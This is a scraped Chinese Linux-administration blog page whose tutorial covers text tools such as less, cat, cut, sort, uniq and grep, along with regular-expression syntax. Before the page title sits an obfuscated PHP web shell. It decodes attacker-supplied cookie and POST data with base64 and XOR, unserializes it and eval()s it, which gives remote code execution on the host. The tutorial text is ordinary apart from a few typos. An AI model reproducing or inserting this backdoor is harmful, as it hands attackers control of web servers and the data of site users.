$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文本处理工具 | Linux运维部落

文本处理工具

文本查看工具
less [les]  查看文件 功能比MORE更强大
     -N  显示行号
     查看时使用的命令
     / OR ? 搜索的内容    搜索关键字
          n下一个匹配到的内容
          N上一个匹配到的内容
     space 向下翻一页
     enter 向下翻一行
     u     向上翻半页
     y     向上翻一行

cat  查看文件  内容会直接全部输出在屏幕上
     -n    给每行前面加上行号
     -b    给非空行前面加上行号
     -s    把空行合并成一行
     -E    显示行结束符$
     -T    显示制表符
     -v    显示隐藏字符
     -A    -vTE的组合,显示所有隐藏字符
tac  倒着查看文件
more 查看文件  内容会一页一页的显示在屏幕上
     enter     查看下一行
     space     查看下一页
     Ctrl+B    查看上一页
     b         回到最上面
     q         退出
head 查看文件头10行(默认)
     -n number OR -number  查看文件前面指定数量的行数
     -c 总共获取的字符数
tail 查看文件后10行(默认)
     -n number OR -number  查看文件后面指定数量的行数
     -f /[file]            跟踪指定文件的新追加的内容 
     例子:tail -f /var/log/httpd/access_log | grep “172.16.1.10”
     -c 总共获取的字符数
—————————————————————
文本编辑工具
cut  选取文本  按要求输出文本的内容
     -d “:” 文本分隔符,默认是tab        
     -f #    以分隔符划分的第几个字段
             #           第几个字段
             #,#[#,#]     不相连的多字段
             #-#          连续的字段
             #-#,#        混合字段
     -c #    以每行第#字符截取
 例子:cut -d “/” -f 1-2,4 /etc/fstab
paste 合并2个文件的同行号
      -d 分隔符:指定行划分的界限
      -s 所有行显示在一行显示
例子:paste -d”:” -s file1 file2
—————————————————————–
文本数据收集与整理
wc  计算文本的单词,字,行数.
例子: $wc /etc/fstab
       17  90 993 /etc/fstab
   17是行数    -l       只看行数
   90是单词数  -w       只看单词数
   993是字符数 -c OR -m 只看字数
sort 排序整理文件
    -r    反响整理文件 (上大下小)
    -n    按数学大小排序
    -f    忽略大小写
    -u    删除重复的行
    -t #  使用#作为字段分界符
    -k #  使用#以分界符为段数来排序
例子:sort -t “:” -k 3 -n /etc/passwd
uniq 从输出中删除前后相连的重复内容(去重)
    -c    显示每行出现重复次数
    -d    之显示重复过的行
    -u    之显示不重复过的行(完全相同的行为重复)
例子:cat /etc/passwd | sort -n -d “:” -k 3 | sort -c
diff 比较2个文件的区别
例子:diff file1 file2
    6c6   第六行第六个字符不一样
    < kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
    —
    > kkkkk7kkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
——————————————————————–
linux文本处理三剑客
grep文本搜索工具
        egrep 扩展正则表达式
        fgrep 不支持正则表达式
sed 行编辑器
awk 文本处理工具
grep 文本搜索工具(过滤)
     #     #搜索的文本,可以调用变量“$USER” ‘$USER’,也可以用命令`whoami`
     –color=auto  对匹配到的文本作色显示(7上支持)
     -v    不显示匹配到的内容
     -i    忽略大小写
     -n    显示匹配的行号,在前面显示匹配到的字段在文件里原有的行数位置
     -c    统计匹配的行数,之显示匹配到多少数量。
     -o    只显示匹配到的字符段。
     -q    静默模式,不输出任何信息。
     -w    匹配整个单词
     -e    指定多个条件,条件是或的关系
           例子:grep -e “root” -e “ftpd” /etc/passwd
     -A #  匹配到的字段所在行的后#行  (其他参数最好在前面)
     -B #  匹配到的字段所在行的前#行  (其他参数最好在前面)
     -C #  匹配到的字段所在行的前后#行(其他参数最好在前面)
     -E    相当于egrep,使用新的正则。(ERE)
     -F    相当于fgrep,不使用正则表达式。
REGEXP 正则表达式
       由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表示字符字面意义。
       正则表通常被用来检索、替换那些符合某个模式(规则)的文本。
程序支持:grep,sed,awk,wim,less,nginx,,varnish等
分类:
       BRE 基本正则表达式:grep
       ERE 扩展正则表达式:egrep   grep -E
PCRE   正则表达式引擎
       PCRE是一个perl库,采用不同算法,检查处理正则表达式的软件模块.
元字符  正则表达式中具有特殊意义的专用字符
元字符分类  字符匹配、匹配次数、位置锚定、分组
    字符匹配  (要用[]再把特殊元字符扩上,不然系统会认定是普通括号)
        .         匹配任意单个字符
        []        匹配指定范围内的任意单个字符
                      例子:grep -E [123] /etc/passwd
        [^]       匹配指定范围外的任意单个字符
                      例子:grep -E [^123] /etc/passwd
        [:alnum:] 匹配字母和数字
                      例子:grep -vE [[:almun:]] /etc/passwd
        [:alpha:] 匹配大小写字母
        [:lower:] 匹配小写字母
        [:upper:] 匹配大写字母
        [:blank:] 匹配空白区和制表符。等效于 [ \t]。
        [:space:] 匹配空格,制表符。
        [:cntrl:] 匹配不可打印的控制字符。(括换行符、换页符、退格、空格、空、制表符、空白等)
        [:digit:] 匹配十进制数字(0-9)
        [:xdigit:]匹配十六进制数字(0-f)
        [:graph:] 匹配打印字符。等效于 [[:alnum:][:punct:]]。 (换行可以匹配到)
        [:print:] 匹配打印字符和空格。(不包扩制表位)
        [:punct:] 匹配标点符号
    匹配次数  用在指定次数的字符后面,指定字符出现的次数。
        *         匹配前面字符出现最少0次,最多无限次。(贪婪模式)
                      例子:.*  匹配任意长度的字符
        \?        匹配前面的字符0至1次。
        \+        匹配前面的字符至少1次。
        \{n\}     匹配前面的字符N次。
        \{m,n\}   匹配前面字符至少出现M次,最多出现N次。
        \{,n\}    匹配前面的字符最多出现N次。
        \{n,\}    匹配前面的字符最少出现N次。
    位置锚定  定位出现的位置
        ^         行首锚定  用于模式的最左侧
                      例子:egrep ^[[:almun:]]* /etc/passwd
        $         行尾锚定  用于模式的最右侧
                      例子:grep -E [1-7]/{3,10/}$ /etc/passwd
        ^root$    整行匹配
        ^$        空行
        ^[[:space:]]$ 匹配空行
        \< or \b  词首锚定:用于单词的左侧
        \> or \b  词尾锚定:用于单词的右侧
        \b#\b or \<#\>   匹配整个单词
    分组      \(\) 将一个或多个字符捆绑在一起,当作一个整体进行处理。
              分组括号里匹配到的内容,会存入变量1中。左往右,从1开始往下数。
              \1  表示左边第一个分组括号的匹配到的内容变量。
         \(string1\+\(string2\)*\)
         \1   string1\+\(string2\)*
         \2   string2
              后向引用:引用前面的分组括号中的模式所匹配字符,而非 模式本身
         \|   或  a\|b  a or b。

原创文章,作者:sheep,如若转载,请注明出处:http://www.178linux.com/73255

(0)
上一篇 2017-04-13 11:35
下一篇 2017-04-13 15:42

相关推荐

  • 系统管理之磁盘管理(一)

    磁盘结构 一.概论 1.操作系统的组成部分: 硬件: 根据冯诺依曼体系,计算机的组成:    运算,控制器:cpu    存储器:主存(ram);       io设备:      &nbs…

    Linux干货 2016-08-30
  • 20160804课堂作业

    grep正则表达式课堂作业 1、用正则表达式表示IP地址 #grep -E "(\<[1-9]|[1-9][[:digit:]]|1[[:digit:]][[:digit:]]|2[0-4][[:digit:]]|25[0-5]\>)\.(\<[[:digit:]]|[1-9][[:digit:]]|1[[:digit:]] [[…

    Linux干货 2016-08-05
  • 系统自动化安装

    本章内容 系统安装过程配置anaconda自动化安装系统 安装程序 CentOS系统安装 系统启动流程: bootloader–>kernel(initramfs)–>rootfs–>/sbin/init anaconda: 系统安装程序 tui: 基于图形库curses的文本窗口 gui:图形窗口 安装程序启动过程 MBR…

    Linux干货 2016-09-19
  • man手册的使用

    在Linux中man的使用频率应该是很高的,灵活运用它可以让自己快速的掌握一个不熟悉命令的使用方法。下面来介绍下man 环境CentOS6.8 man – format and display the on-line manual pages 在线使用手册格式及展示通俗点来说它就是命令的使用手册。它共分九个章节 1、用户命令2、系统调用3、C库调…

    Linux干货 2016-10-19
  • Shell脚本编程之入门基础(一)

    Shell脚本编程   一、本章节一内容:    编程基础    脚本基本格式    变量    运算    条件测试   在本章节开始之前,我们先回顾下前面的知识点内容。前面学习了Linux的基础入门,了解到计算机是运行二进制指令的,而我…

    Linux干货 2016-08-12
  • Keepalived+LVS(nginx)高可用详解

    一:前言   Keepalived使用的vrrp协议方式,虚拟路由冗余协议 (Virtual Router Redundancy Protocol,简称VRRP);Keepalived的目的是模拟路由器的高可用,一般Keepalived是实现前端高可用,常用的前端高可用的组合有,就是我们常见的LVS+Keepalived、Nginx+Ke…

    Linux干货 2017-05-15